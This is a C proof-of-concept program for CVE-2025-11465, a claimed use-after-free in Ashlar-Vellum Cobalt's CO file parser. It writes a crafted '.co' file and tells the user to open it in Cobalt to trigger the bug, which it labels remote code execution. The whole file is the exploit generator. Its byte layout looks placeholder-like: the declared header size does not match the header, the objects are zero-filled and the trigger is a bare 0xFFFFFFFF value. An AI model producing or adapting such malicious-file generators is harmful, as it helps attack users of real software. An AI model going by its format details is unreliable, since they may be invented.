// CVE-2025-11465 PoC - Use-After-Free in Ashlar-Vellum Cobalt CO File Parser
// This PoC creates a malicious CO file that triggers the UAF vulnerability
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// CO File Header Structure
typedef struct {
char magic[4]; // CO file magic number
int version;
int header_size;
int object_count;
} COHeader;
// Malicious object that triggers UAF
unsigned char malicious_co_file[] = {
// CO file header
'C', 'O', 'F', 'M', // Magic: COFM
0x01, 0x00, 0x00, 0x00, // Version
0x40, 0x00, 0x00, 0x00, // Header size
0x02, 0x00, 0x00, 0x00, // Object count
// Object 1: Normal object (will be freed)
0x01, 0x00, 0x00, 0x00, // Object type
0x20, 0x00, 0x00, 0x00, // Object size
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
// Object 2: Trigger object (causes free of Object 1)
0x02, 0x00, 0x00, 0x00, // Object type (trigger type)
0x20, 0x00, 0x00, 0x00, // Object size
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
// UAF trigger: Reference to freed object
0xFF, 0xFF, 0xFF, 0xFF, // Invalid pointer/reference
// Padding to reach file size
0x00, 0x00, 0x00, 0x00
};
void generate_poc_file(const char* filename) {
FILE* fp = fopen(filename, "wb");
if (fp) {
fwrite(malicious_co_file, 1, sizeof(malicious_co_file), fp);
fclose(fp);
printf("[+] PoC file generated: %s\n", filename);
}
}
int main() {
printf("CVE-2025-11465 PoC Generator\n");
printf("Ashlar-Vellum Cobalt CO File UAF RCE\n\n");
generate_poc_file("CVE-2025-11465_malicious.co");
printf("\n[!] Usage: Open the generated .co file with Ashlar-Vellum Cobalt\n");
printf("[!] This will trigger the Use-After-Free vulnerability\n");
return 0;
}